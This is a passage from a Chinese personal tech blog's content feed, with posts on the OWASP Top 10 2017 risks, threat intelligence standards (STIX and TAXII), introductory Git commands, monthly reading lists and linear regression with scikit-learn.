处理程序、内部文件共享、内部端口扫描、远程代码执行和服务访问拒绝攻击的方式纰漏内部文件</td></tr><tr><td align="center">A5: 2017-Broken Access Control(失效的访问控制)</td><td align="center">对于认证用户行为权限的限制经常得不到完整的实施。攻击者可以挖掘这些缺陷去获得非授权的功能和 (或) 数据,例如访问其他用户账号、查看敏感文件、修改其他用户数据,更改访问权限等等</td></tr><tr><td align="center">A6: 2017-Security Misconfiguration(不安全的组态配置)</td><td align="center">安全配置不当是最常见的问题。这通常是由于不安全的默认设置、不完整或临时的配置,开放云存储,HTTP 头部错误配置和包含敏感信息的强制报告信息造成的。不仅所有操作系统、框架、库、应用程序需要安全配置,而且必须及时的打补丁和升级。</td></tr><tr><td align="center">A7: 2017-Cross-Site Scripting (XSS)(跨站点脚本攻击)</td><td align="center">XSS 缺陷发生情景: ① 应用程序在没有经过验证或溢出式在新网页加载非可信数据 ② 通过可以生成 HTML 或 JavaScript 代码的浏览器 API,应用程序使用用户数据更新网页时。XSS 使得攻击者可以在受害者的浏览器执行脚本,造成会话劫持、破坏网站或引导用户访问恶意网站。</td></tr><tr><td align="center">A8: 2017-Insecure Deserialization(不安全反序列化)</td><td align="center">不安全反序列化经常造成远程代码运行。有时尽管反序列化缺陷没有导致远程代码运行,但它们可以用于执行各种攻击,例如: 重播攻击、注入攻击和权限提升攻击。</td></tr><tr><td align="center">A9: 2017-Using Components with Known Vulnerabilities(使用组件已知的漏洞)</td><td align="center">各种组件 (例如: 库、框架和其他软件模块) 运行时与应用程序权限相同。如此一来,如果一个脆弱的组件被利用,这个攻击可以最终造成严重数据丢失或服务器被接管。使用已知漏洞组件的应用程序和 API 可能会降低应用的防范能力,造成各种各样的攻击和影响。</td></tr><tr><td align="center">A10: 2017-Insufficient Logging & Monitoring(不足的日志记录和监测)</td><td align="center">当不充分的日志和监测与遗漏的或无效的事件响应凑在一起,攻击者就可以发动更深层次的系统攻击、保持持久性、转移攻击到更多的系统,并且篡改、窃取甚至破坏数据。大部分 breach 研究表明——检测到 breach 需要超过 200 天时间,而且通常还是外部机构检测出来而非内部处理或监测。</td></tr></tbody></table><p><strong>推荐阅读</strong></p><ol><li><p><a href="https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf">OWASP Top 10 - 2013 Report</a></p></li><li><p><a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf">OWASP Top 10 - 2017 Report</a></p></li><li><p><a href="https://www.acunetix.com/blog/articles/what-is-insecure-deserialization/">What is Insecure Deserialization?</a></p><p></p></li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>本篇我们介绍了OWASP组织、应用安全威胁相关内容、Top 10 风险内容,下次将会介绍 Top 10 安全威胁的常见攻击场景以及防范措施等内容,敬请期待 (☆▽☆)</p><p>未完待续….</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>OWASP</tag>
<tag>安全风险</tag>
<tag>报告</tag>
</tags>
</entry>
<entry>
<title>威胁情报漫谈</title>
<link href="/2018/04/08/CTI/"/>
<url>/2018/04/08/CTI/</url>
<content type="html"><![CDATA[<h3 id="威胁情报、分类及其作用"><a href="#威胁情报、分类及其作用" class="headerlink" title="威胁情报、分类及其作用"></a>威胁情报、分类及其作用</h3><h4 id="什么是威胁情报"><a href="#什么是威胁情报" class="headerlink" title="什么是威胁情报"></a>什么是威胁情报</h4><p>威胁情报,又被称为安全威胁情报,是一种关于潜在或正在发生的威胁组织安全的信息,是一种关于攻击对手自身、使用工具及相关技术的情报。威胁情报的核心目的在于帮助组织机构理解常见的、严重外部威胁的风险,提前做好预判,准备相应防范措施,最大程度的避免或减少由于外部网络威胁给组织机构带来的损失。</p><h4 id="威胁情报分类"><a href="#威胁情报分类" class="headerlink" title="威胁情报分类"></a>威胁情报分类</h4><p>同时,威胁情报一词涵盖范围太广,无法准确传递,我们需要对威胁情报进行分类,这里列举两种——基于用途的分类和基于数据类型的分类。</p><p><img src="http://f.cl.ly/items/132G08270226343M3F1I/Image%202018-04-08%20at%207.04.08%20PM.png" alt="威胁情报分类"></p><ul><li><p>基于用途的分类</p><ul><li>归属指标:指向一个或多个(分布式、大规模)网络攻击的来源,是 A 发起了攻击或入侵。</li><li>检测指标:指向一个网络攻击事件,例如 “这个网页脚本包含一个注入攻击”</li><li>指向指标:指向一个或多个可能会被列为攻击目标的用户、设备等。</li><li>预测指标:指向一个或多个预测的可能发生的后续攻击事件。例如,安全数据分析工作职责之一是需要负责网络与系统的安全监控,安全日志分析,利用大数据技术,对黑客攻击行为的分析。</li></ul></li><li><p>基于数据类型的分类(级别:一级 –> 六级, 价值:低 –> 高)</p><ul><li>HASH 值(一级):SHA1 或 MD5 是比较常见的 Hash 值例子。这里威胁情报的 Hash 值主要对应于入侵相关的特定样本/文件。</li><li>IP 地址(二级):IP 地址是比较常见的指标,但也是最容易被改变或伪装的指标。例如:一场大型 DDoS 攻击可能会产生成千上万个 IP 地址,单纯利用 IP 地址追溯源头效果甚微。 </li><li>域名(三级):域名指标相对 IP 地址较为固定,若想要更改则需要付出相对于 IP 地址高很多的代价(e.g. 域名变更、域名注册)</li><li>网络或主机特征(四级):当获取到这个层面的威胁情报信息会让攻击对手感到一定程度的不适,因为他们往往需要重新配置或编译他们的攻击工具/脚本。</li><li>攻击工具(五级):感知到这个层面的威胁情报相当获取攻击者们使用“武器”的具体信息(e.g. 攻击技术、攻击工具),安全工程师可以提前/立刻采取相对应的防范措施,部署防御工具/策略,进一步推测类似的攻击工具/手段,提前做制定响应预案和应对措施。</li><li>TTPs(六级):TTPs 是 Tactics / Techniques / Procedures 的对应缩写组合,这个级别的威胁情报也是等级最高、价值最大的。这时候,威胁情报分析师、安全工程师等关注的不在如何获取攻击者的攻击工具或是应对相应的攻击工具,而是直接、明确、果断、快速应对攻击者的技能集(Skills Sets)。一旦到达了这个级别,攻击者为了继续发动有效的攻击、产生破坏,往往不得不去 get√ 新的技能(e.g. 工具/技术/攻击手法),无疑会耗费大量时间/精力。</li></ul></li></ul><blockquote><p>威胁情报基于不同用途、数据类型划分了不同的类别,但威胁情报划分远不止这些。就个人而言,威胁情报基于组织机构相关程度,可以划分为无关情报、相关情报、密切相关情报;基于时间周期,还可以划分为初期情报、阶段性情报(中前期、中期、中后期)、总结性情报…</p></blockquote><h4 id="作用-x2F-价值"><a href="#作用-x2F-价值" class="headerlink" title="作用/价值"></a>作用/价值</h4><p>威胁情报的价值:</p><p>✔ 以可视化的方式为企业提前审视系统漏洞提供参考</p><p>✔ 提高组织应对潜在威胁的响应速度,减少损失</p><p>✔ 帮助企业决策针对即将发生或当下发生的威胁,部署风险管理策略和资源分配</p><h3 id="常用协议、标准和框架"><a href="#常用协议、标准和框架" class="headerlink" title="常用协议、标准和框架"></a>常用协议、标准和框架</h3><p>为了便于各大白帽、安全公司、安全联盟等组织/机构/个人,共享威胁情报,形成自动化、智能化的安全威胁情景感知、实时网络攻击/威胁和复杂威胁分析的情报平台/系统,逐渐出现了一些威胁情报框架和标准,这里列举若干主流的、代表的、使用多的威胁情报框架或标准。</p><h4 id="STIX™-Structured-Threat-Information-Expression"><a href="#STIX™-Structured-Threat-Information-Expression" class="headerlink" title="STIX™ (Structured Threat Information Expression)"></a>STIX™ (Structured Threat Information Expression)</h4><p><strong>介绍</strong></p><p>下面是翻译自 <a href="https://oasis-open.github.io/cti-documentation/">OASIS-OPEN</a> 官网的关于 STIX™ 的介绍:</p><p>STIX 是一种用于交换(exchange)安全威胁情报的语言和序列化格式。STIX 是完全开源的、任何相关人员都可以参与进行一起完善 STIX 标准本身 ➿</p><p>STIX 使得组织机构之间以一种持续不间断、自动机读方式共享安全威胁情报,安全社区更好的了解他们最有可能遇到的电脑攻击类型,从而更快速、更高效地处理应对攻击 🤖</p><p>STIX 设计之初是为了提高威胁情报方面的各项机能,例如:协同威胁分析、自动威胁情报共享、自动检测和应对等等 🎯</p><p><strong>内容和构成</strong></p><p>STIX 2 对象类化了拥有详细属性的每条情报,通过关系连接后的多个对象允许安全威胁情报可以以简单或复杂的形式表征。下面的列表是通过 STIX 可以表示的信息。</p><p>首先,STIX 2 定义了 12 种 STIX 域对象 (SDOs):</p><table><thead><tr><th align="center">名称</th><th align="center">描述</th></tr></thead><tbody><tr><td align="center">攻击模式 (Attack Pattern)</td><td align="center">一类 TTP ,用来描述威胁发动者尝试破坏目标的方式</td></tr><tr><td align="center">活动 (Campaign)</td><td align="center">一组对抗行为,用来描述一段时间内针对一系列特定目标发动的一连串恶意活动或攻击</td></tr><tr><td align="center">行动内容 (Course of Action)</td><td align="center">一种用来预防攻击或应对攻击的行动</td></tr><tr><td align="center">主体 (Identity)</td><td align="center">个人、组织或团体,也可以是个人、组织或团体的派别</td></tr><tr><td align="center">指标 (Indicator)</td><td align="center">包含一个可以用来检测可以或恶意安全活动的特诊</td></tr><tr><td align="center">入侵集 (Intrusion Set)</td><td align="center">一系列抱团形式的对抗行为和资源,它们具有一些被认为是由单个威胁者精心策划的显著特征</td></tr><tr><td align="center">恶意软件 (Malware)</td><td align="center">一类 TTP,也叫恶意代码或恶意软件,用于破坏受害者数据或系统的保密性、完整性和可用性</td></tr><tr><td align="center">监测数据 (Observed Data)</td><td align="center">传递关于攻击系统的网络的信息 (e.g. IP 地址)</td></tr><tr><td align="center">报告 (Report)</td><td align="center">聚焦单一或更多主题的威胁情报聚合,例如关于威胁者、恶意软件或攻击技术,包括上下文细节的一个描述</td></tr><tr><td align="center">威胁者 (Threat Actor)</td><td align="center">怀揣恶意目的的个人、团体或组织</td></tr><tr><td align="center">工具 (Tool)</td><td align="center">威胁者发动攻击可以使用的正当软件</td></tr><tr><td align="center">漏洞 (Vulnerability)</td><td align="center">黑客可以用以获得系统或网络权限的软件缺陷</td></tr></tbody></table><p>其次,STIX 2 定义了 2 种 STIX 关系对象 (SROs):</p><table><thead><tr><th align="center">名称</th><th align="center">描述</th></tr></thead><tbody><tr><td align="center">关系 (Relationship)</td><td align="center">用于连接两个 SDOs ,描述连接方式</td></tr><tr><td align="center">见证 (Sighting)</td><td align="center">表示 CTI 的一个元素被监测到的信念 (e.g. 指标、恶意软件)</td></tr></tbody></table><p>STIX 2 对象以 <strong>JSON</strong> 格式表示,下面是一个 STIX 2 活动对象示例:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">{</span><br> <span class="hljs-attr">"type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"campaign"</span><span class="hljs-punctuation">,</span> <br> <span class="hljs-attr">"id"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"campaign--8e2e2d2b-17d4-4cbf-938f-98ee46b3cd3f"</span><span class="hljs-punctuation">,</span> <br> <span class="hljs-attr">"created"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"2016-04-06T20:03:00.000Z"</span><span class="hljs-punctuation">,</span> <br> <span class="hljs-attr">"name"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Green Group Attacks Against Finance"</span><span class="hljs-punctuation">,</span> <br> <span class="hljs-attr">"description"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Campaign by Green Group against targets in the financial services sector."</span> <br><span class="hljs-punctuation">}</span><br></code></pre></td></tr></table></figure><p>这个 STIX 2 活动对象,清晰的展示了攻击活动的类型、名称等字段,其中类型和名称属性是必须有的 (required),其他属性选择性添加 (optional)。</p><p>最后,这里放出一个 <a href="https://www.youtube.com/channel/UCmW_oi_zce3On4LyK9KDnfg">FreeTAXII Project</a> 制作的 STIX 2 对象介绍视频:</p><iframe width="560" height="315" src="//player.bilibili.com/player.html?aid=22063175&cid=36472059&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe><h4 id="TAXII™-Trusted-Automated-Exchange-of-Intelligence-Information"><a href="#TAXII™-Trusted-Automated-Exchange-of-Intelligence-Information" class="headerlink" title="TAXII™ (Trusted Automated Exchange of Intelligence Information)"></a>TAXII™ (Trusted Automated Exchange of Intelligence Information)</h4><p><strong>介绍</strong></p><p>下面是翻译自 <a href="https://oasis-open.github.io/cti-documentation/">OASIS-OPEN</a> 官网的关于 TAXII™ 的介绍:</p><p>TAXII 是一种简单、可拓展的安全威胁情报交流 (communication) 的应用层协议 📜</p><p>TAXII 协议用于在 HTTPS 交换安全威胁情报。使用 TAXII 协议,组织机构可以通过定义符合通用共享模型的 API 方便高效地共享安全威胁情报 👌</p><p>TAXII 协议专为支持以 STIX 语言表示的安全威胁情报交换设计 ⛽</p><p><strong>内容和构成</strong></p><p>TAXII 定义了 RESTful API (一系列服务和消息交换) 和一系列 TAXII 客户端和服务器的要求。如下图,TAXII 定义了两个主要服务以支持多种多样的通用共享模型:</p><ul><li><strong>集合(Collection)</strong> — 一个集合是 CTI 对象的逻辑库的接口,它由 TAXII 服务器提供,允许情报生产者握持一系列可以由情报消费者获取的 CTI 数据: TAXII 客户端和服务器通过“请求-响应”模型交换信息。</li><li><strong>通道 (Channel)</strong> — 一个通道允许情报生产者推送给大量消费者数据,消费者也可以从大量生产者那里接收数据,这个通道由 TAXII 服务器负责维护: TAXII 客户端和其他客户端通过“发布-订阅”模型交换信息。注意: TAXII 2.0 说明书保留了通道必须的关键字,但并未指定通道的服务。通道和他们的服务将会在 TAXII 稍后版本中的明确。</li></ul><p><img src="http://f.cl.ly/items/2f1X1D1M172J202d3N23/taxii_diagram2.png" alt="TAXII Architecture"></p><p>集合和通道可以用不同的方式组织。例如:它们可以组合在一起以支持某一特定信赖团体的需求。</p><p>一个 TAXII 服务器实例可以支持一个或多个 API Roots。API Roots 是 TAXII 通道和集合的逻辑组合,可以被认为是在不同 URL 可用时的 TAXII API 的实例 (这里每个 API Root 是TAXII API 的特定实例的”根” URL) 。</p><p>TAXII 尽可能的依赖现有的协议,尤其当通过 DNS 服务记录发现 TAXII 服务器在同一网络内时。此外,TAXII 使用 HTTPS 作为所有通信的传输协议,并使用 HTTP 作为内容协商和认证的协议。</p><p>TAXII 经过精心设计,支持 STIX 格式的 CTI 交换,并且支持 STIX 2.0 内容交换是强制要求实现的。然而,TAXII 也可以共享以其他格式记录的数据。STIX 和 TAXII 是相互独立的标准:STIX 的结构和序列化不需要以来任何特定的传输机制,而且 TAXII 可以用于传输非 TAXII 数据 (<strong>这里划重点!这里划重点!这里划重点!</strong>)</p><p><strong>TAXII 设计原则</strong></p><ol><li>包括采纳需要最小化修改原则</li><li>便于与现有共享协议集成原则</li><li>支持所有广泛使用的威胁共享模式: hub-and-spoke, peer-to-peer, source-subscriber</li></ol><p>Plus: 关于 TAXII 2.0 详细介绍和使用说明,可以参阅 ☞ <a href="https://oasis-open.github.io/cti-documentation/resources.html#taxii-20-specification">TAXII 2.0 官方说明文档</a></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>本篇我们了解威胁情报的基本概念、分类和作用,然后介绍了威胁情报常用表示标准 (e.g. STIX) 和 传输协议 (e.g. TAXII) ,感兴趣的小伙伴们可以自行搜索相关资料深入阅读。</p><ul><li>CTI – Cyber Threat Intelligence 安全威胁情报</li><li>STIX™ – Structured Threat Information Expression 结构化威胁情报交换语言</li><li>TAXII™ – Trusted Automated Exchange of Intelligence Information 可信赖自动威胁情报交换协议</li></ul><p>📢 预告 —— 下次我们将介绍一些国内外知名的威胁情报服务提供商/企业。</p><h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><ul><li><a href="https://whatis.techtarget.com/definition/threat-intelligence-cyber-threat-intelligence">TechTarget - Threat Intelligence (Cyber Threat Intelligence)</a></li><li><a href="http://netsecurity.51cto.com/art/201507/483312.htm">小议安全威胁情报之分类和使用场景</a></li><li><a href="https://oasis-open.github.io/cti-documentation/taxii/intro.html">Introduction to TAXII</a></li></ul><hr>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>威胁情报</tag>
<tag>CTI</tag>
<tag>STIX</tag>
<tag>TAXII</tag>
</tags>
</entry>
<entry>
<title>Git 使用入门(2)</title>
<link href="/2018/04/07/GitSecondImpression/"/>
<url>/2018/04/07/GitSecondImpression/</url>
<content type="html"><![CDATA[<p>Cover Photo by Ashley Harpp on beanstalk Guides</p><blockquote><p>上次已经介绍了 git 的基本概念和知识,这里我们接着进行学习,本篇主要介绍 git 常用的命令 ,相信你看完之后可以使用 git 创建自己的仓库(或者克隆别人的仓库)、文件上传、提交更改、进行协作… Let`s begin 😎</p></blockquote><h3 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h3><p>【Git 使用入门(1)】<a href="https://zhililab.github.io/2018/03/19/GitFirstImpression/">什么是 Git</a><br>【Git 使用入门(2)】<a href="https://zhililab.github.io/2018/04/07/GitSecondImpression/">Git 常用命令</a></p><h3 id="初始化配置"><a href="#初始化配置" class="headerlink" title="初始化配置"></a>初始化配置</h3><p>正式开始使用之前,需要配置好 git 的基本信息,例如:用户名、e-mail 地址、颜色等等。</p><p><strong>$ git config –global [user.name][user.email][color.ui][color.status][color.diff]…</strong></p><h3 id="开始使用"><a href="#开始使用" class="headerlink" title="开始使用"></a>开始使用</h3><p>我们可以新创建一个仓库或者克隆别人的仓库到本地,命令如下:</p><p>1.新建仓库</p><p><strong>$ git init [myprojectname]</strong></p><p><img src="http://f.cl.ly/items/432K2L2y462Z3p2s2a2H/Snipaste_2018-04-07_17-25-07.png" alt="enter image description here"></p><p>2.克隆仓库</p><p><strong>$ git clone [url]</strong></p><p><img src="http://f.cl.ly/items/3C0V31211K0K2T1q0V1M/Snipaste_2018-04-07_17-37-16.png" alt="enter image description here"></p><h3 id="协作"><a href="#协作" class="headerlink" title="协作"></a>协作</h3><p>1.查看当前版本状态(是否修改)</p><ul><li><strong>$ git status</strong></li></ul><p><img src="https://cl.ly/3e1T0v3Q2n3l/Snipaste_2018-04-08_08-48-39.png" alt="git status"></p><p>2.列出分支</p><ul><li><strong>$ git branch</strong>(列出所有本地分支)</li></ul><p><img src="https://cl.ly/2u0u0t0x2o1R/Image%202018-04-08%20at%208.55.57%20AM.png" alt="列出所有本地分支"></p><ul><li><strong>$ git branch -r</strong>(列出所有远程分支)</li></ul><p><img src="http://f.cl.ly/items/3y0j3L2P1x3N3w3b0y3K/Image%202018-04-08%20at%209.17.39%20AM.png" alt="列出所有远程分支"></p><ul><li><strong>$ git branch -a</strong>(列出所有本地和远程分支)</li></ul><p><img src="http://f.cl.ly/items/1R460K1H3U290a3q0707/Image%202018-04-08%20at%209.18.41%20AM.png" alt="列出所有本地和远程分支"></p><p>3.切换到指定分支</p><ul><li><strong>$ git checkout [x_brach]</strong></li></ul><p><img src="http://f.cl.ly/items/0z1X3k3a052p3h1k1j1M/Image%202018-04-08%20at%209.48.08%20AM.png" alt="切换到指定分支"></p><p>4.新建一个分支,并切换到该分支</p><ul><li><strong>$ git checkout -b [new_branch]</strong></li></ul><p><img src="http://f.cl.ly/items/3B3O3X1G0X1e2R3T083N/Image%202018-04-08%20at%208.59.41%20AM.png" alt="新建一个分支,并切换到该分支"></p><h3 id="查看"><a href="#查看" class="headerlink" title="查看"></a>查看</h3><p>1.查看当前版本状态(是否修改)</p><ul><li><strong>$ git status</strong></li></ul><p><img src="https://cl.ly/3e1T0v3Q2n3l/Snipaste_2018-04-08_08-48-39.png" alt="查看当前版本状态"></p><p>2.显示提交日志</p><ul><li><strong>$ git log</strong></li></ul><p><img src="http://f.cl.ly/items/0p0k2P3U11302n3E0P1v/Snipaste_2018-04-08_09-03-18.png" alt="显示提交日志"></p><p>3.显示提交日志及相关变动文件</p><ul><li><strong>$ git log –stat</strong></li></ul><p><img src="https://cl.ly/041p0g0g2f37/Image%202018-04-08%20at%209.11.38%20AM.png" alt="显示提交日志及相关变动文件"></p><p>熟话说的好,Practice Makes Perfect ~ 快速下载 git,练练基本的 git 用法吧 🤸</p><h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><ul><li><a href="http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html">常用 Git 命令清单</a></li><li><a href="https://gist.github.com/guweigang/9848271">git命令大全</a></li><li><a href="https://git-scm.com/video/what-is-git">Git Basics Episode 2</a></li></ul><hr><p>预告:下次将会介绍一些好用的 git 客户端 😝</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Git</tag>
</tags>
</entry>
<entry>
<title>书单:2018年3月</title>
<link href="/2018/04/06/Reading-Books-March-2018/"/>
<url>/2018/04/06/Reading-Books-March-2018/</url>
<content type="html"><![CDATA[<p>Cover Photo by Kingston Chen on Unsplash</p><p>我的2018年3月的 Kindle 书目一览(含Knotes):</p><ul><li><p>《巨人的陨落》</p></li><li><p>《码农·“安全”攻防术》</p></li></ul>]]></content>
<categories>
<category>读书</category>
</categories>
<tags>
<tag>读书</tag>
<tag>Kindle</tag>
</tags>
</entry>
<entry>
<title>Git 使用入门(1)</title>
<link href="/2018/03/19/GitFirstImpression/"/>
<url>/2018/03/19/GitFirstImpression/</url>
<content type="html"><![CDATA[<p>Cover Photo by Ashley Harpp on beanstalk Guides</p><h1 id="什么是-Git"><a href="#什么是-Git" class="headerlink" title="什么是 Git"></a>什么是 Git</h1><p>Git 是一个当下十分流行的分布式版本控制工具,可以帮助我们有效管理项目开发/文档写作中的版本管理/更新/维护等多种问题,极大的提高了我们的开发效率,同时适用多人协作模式,在我看来,不管是程序员、工程师、作家、学生等等职业,学习、使用 Git 都将会对你的工作/学习/创作起到极大的效率提升作用。</p><p>现在版本控制可以分为三大类:</p><ul><li>LVCS-本地版本控制 e.g. RCS</li><li>CVCS-集中化的版本控制系统 e.g. CVCS / Subversion / Perfoce</li><li>DVCS-分布式版本管理系统 e.g. Git / Bazaar</li></ul><h1 id="使用-Git-的好处"><a href="#使用-Git-的好处" class="headerlink" title="使用 Git 的好处"></a>使用 Git 的好处</h1><p>Git 的几大优点:</p><ul><li><p>简答易学,容易上手 (这里推荐新手阅读 Scott Chacon 和 Ben Straub 撰写的 <a href="https://git-scm.com/book/zh/v2">Pro Git</a> 手册,现在已经有在线中文版 )</p></li><li><p>完全分布式</p></li><li><p>速度快</p></li><li><p>保证数据完整性。所有数据在更改前都使用 <a href="https://baike.baidu.com/item/sha-1">SHA-1</a>校验和,保证了所有更改 Git 都知悉。</p></li><li><p>可以高效管理超大规模项目</p></li></ul><h1 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h1><p>正式上手之前,需要明白并记录 Git 的三个文件状态(states)和三个概念(concepts),这对之后地理解、使用 Git 十分重要!</p><h2 id="3-个状态"><a href="#3-个状态" class="headerlink" title="3 个状态"></a>3 个状态</h2><ul><li><p>comitted: 是“已提交”,这表示所有更改的文件已经安全地存储在你的本地库。</p></li><li><p>modified: 意思是“已修改”,这意味着你已经更改了你的文件,但还没有提交到你的本地库中。</p></li><li><p>staged: 意思是“已暂存”,你已经在当前版本库中标记了修改地文件,将在出现在。</p></li></ul><h2 id="3-个概念"><a href="#3-个概念" class="headerlink" title="3 个概念"></a>3 个概念</h2><ul><li><p>Git directory: “Git 仓库”,用来保存项目的元素据(metadata)和对象数据库的地方。Git 体系中最核心的部分。</p></li><li><p>working tree: “工作目录” ,对项目(project)的某个版本(version)单独拷贝、提取。</p></li><li><p>staging area: “暂存区域”,本质上一个文件(file),保存了下词将提交的文件列表信息,一般存放在 Git 仓库中。</p></li></ul><p><img src="https://cl.ly/261D2F3g2H1V/Image%202018-03-19%20at%2012.05.42%20PM.png"></p><p>参考资料:</p><p>[1] <a href="https://git-scm.com/book/en/v2">Chacon S. Pro Git[J]. 2014</a></p><p>[2] <a href="https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000">廖雪峰-Git教程</a></p><hr><p>预告:下篇将会介绍 Git 的基本安装、使用命令 ; )</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Git</tag>
</tags>
</entry>
<entry>
<title>书单:2018年2月</title>
<link href="/2018/02/01/Reading-Books-Feb-2018-md/"/>
<url>/2018/02/01/Reading-Books-Feb-2018-md/</url>
<content type="html"><![CDATA[<p>Cover Photo by Kingston Chen on Unsplash</p><p>我的2018年2月的 Kindle 书目一览(含Knotes):</p><ul><li><p>《Harry Potter and the Philosopher’s Stone》</p><ul><li><p>Everyone expects me to do as well as the others, but if I do, it’s no big deal, because they did it first. You never get anything new, either, with five brothers. I’ve got Bill’s old robes, Charlie’s old wand and Percy’s old rat.’</p></li><li><p>There are some things you can’t share without ending up liking each other, and knocking out a twelve-foot mountain troll is one of them.</p></li></ul></li><li><p>《数据挖掘与数据化运营实战:思路、方法、技巧与应用》</p><ul><li><p>以业务为核心,以思路为重点,以挖掘技术为辅佐”就是该领域的有效成长之路。</p></li><li><p>数据化运营,首先是要有企业全员参与意识;数据化运营,其次是一种常态化的制度和流程,</p></li><li><p>数据分析师和数据分析团队承担了向业务部门及其员工指导、传授有关数据分析和数据探索的能力培养的工作,这是一种授人以渔的崇高行为,值得数据分析师为之奉献。</p></li></ul></li></ul>]]></content>
<categories>
<category>读书</category>
</categories>
<tags>
<tag>读书</tag>
<tag>Kindle</tag>
</tags>
</entry>
<entry>
<title>机器学习算法之【线性模型】</title>
<link href="/2017/12/10/MachineLearning-LinearModel/"/>
<url>/2017/12/10/MachineLearning-LinearModel/</url>
<content type="html"><![CDATA[<h3 id="一、介绍"><a href="#一、介绍" class="headerlink" title="一、介绍"></a>一、介绍</h3><p>线性模型是大家日常学习和工程应用中广泛应用到的一种基本模型,用户刻画数据的规律和趋势。通过线性模型,我们可以对连续变量的值进行预测。此外对于那些非连续型数据,我们也可以通过一些方式将其转化成适合线性拟合的数据形式(如何甄别转换场景)。</p><blockquote><p>基本形式:y = w1x1 + w2x2 + ··· + wnxn + b </p></blockquote><p>其中 xi (i = 1,2,…n) 为变量(属性), wi (i = 1,2,…n) 变量的权重值</p><p>最简单的线性回归为 —— y = kx + b </p><p>k 称为回归直线的斜率(slope),b 称为回归直线的截距(intercept)</p><span id="more"></span><h3 id="二、核心思想"><a href="#二、核心思想" class="headerlink" title="二、核心思想"></a>二、核心思想</h3><p>核心思想:linear regression 试图学得一个线性模型以尽可能准确地预测输出变量y的实值,为未来进行预测。</p><p>那么问题来了,如何学习并最终确定这条直线呢?</p><p>一般来说,我们会采用最小化均方误差(SSE)和来确定 w 和 b 的值,因为一旦这俩种值确定,整条直线也就确定下来了。</p><p>SSE具体求解有2种方法:</p><ol><li><p>最小二乘法(Ordinary Least Square,OLS)</p><p> 在线性回归中,最小二乘法就是试图找到一条直线,使得所有样本到直线的欧式距离之和最小。</p></li><li><p>梯度下降法(Gradient descent)</p><p> 梯度下降法是一个最优化算法,通常也称为最速下降法。最速下降法是求解无约束优化问题最简单和最古老的方法之一,虽然现已不具有实用性,但是许多有效算法都是以它为基础进行改进和修正而得到的。最速下降法是用负梯度方向为搜索方向的,最速下降法越接近目标值,步长越小,前进越慢。<br> 可以用于求解非线性方程组。</p></li></ol><p>典型场景:</p><ul><li>电力使用预测</li><li>交通流量预测</li><li>在线商铺访问预测</li><li>…</li></ul><blockquote><p>周志华老师还在🍉西瓜书中提到:“线性模式形式简答、易于建模,但却蕴含着机器学习一些重要的基本思想。许多功能强大的非线性模型(nonlinear model)可以在线性模型的基础上通过引入层级结构或高维映射而得”</p></blockquote><h3 id="三、实例"><a href="#三、实例" class="headerlink" title="三、实例"></a>三、实例</h3><p>这里给出一个 scikit-learn 官方文档的例子</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">## 导入线性模型包</span><br><span class="hljs-meta">>>> </span><span class="hljs-keyword">from</span> sklearn <span class="hljs-keyword">import</span> linear_model <br><span class="hljs-comment">## 生成实例 </span><br><span class="hljs-meta">>>> </span>reg = linear_model.LinearRegression()<br><span class="hljs-comment">## 训练</span><br><span class="hljs-meta">>>> </span>reg.fit([[<span class="hljs-number">0</span>, <span class="hljs-number">0</span>], [<span class="hljs-number">1</span>, <span class="hljs-number">1</span>], [<span class="hljs-number">2</span>, <span class="hljs-number">2</span>]], [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>])<br>LinearRegression(copy_X=<span class="hljs-literal">True</span>, fit_intercept=<span class="hljs-literal">True</span>, n_jobs=<span class="hljs-number">1</span>, normalize=<span class="hljs-literal">False</span>)<br><span class="hljs-comment">## 求相关系数</span><br><span class="hljs-meta">>>> </span>reg.coef_<br>array([<span class="hljs-number">0.5</span>, <span class="hljs-number">0.5</span>])<br></code></pre></td></tr></table></figure><p>这个例子虽然简单,但十分清晰了展现如何利用 scikit-learn 从零到一搭建线性模型。</p><h3 id="四、线性模型的-pros-and-cons"><a href="#四、线性模型的-pros-and-cons" class="headerlink" title="四、线性模型的 pros and cons"></a>四、线性模型的 pros and cons</h3><p>pros:</p><ul><li>适合刻画变量之间线性或类线性关系</li><li>擅长连续值预测</li></ul><p>cons:</p><ul><li>线性模型的能力被局限在线性函数里</li></ul><hr><p>参考资料:</p><ol><li>Udacity Machine Learning</li><li>周志华 《机器学习》</li></ol>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>线性模型</tag>
<tag>回归</tag>
<tag>预测</tag>
</tags>
</entry>
<entry>
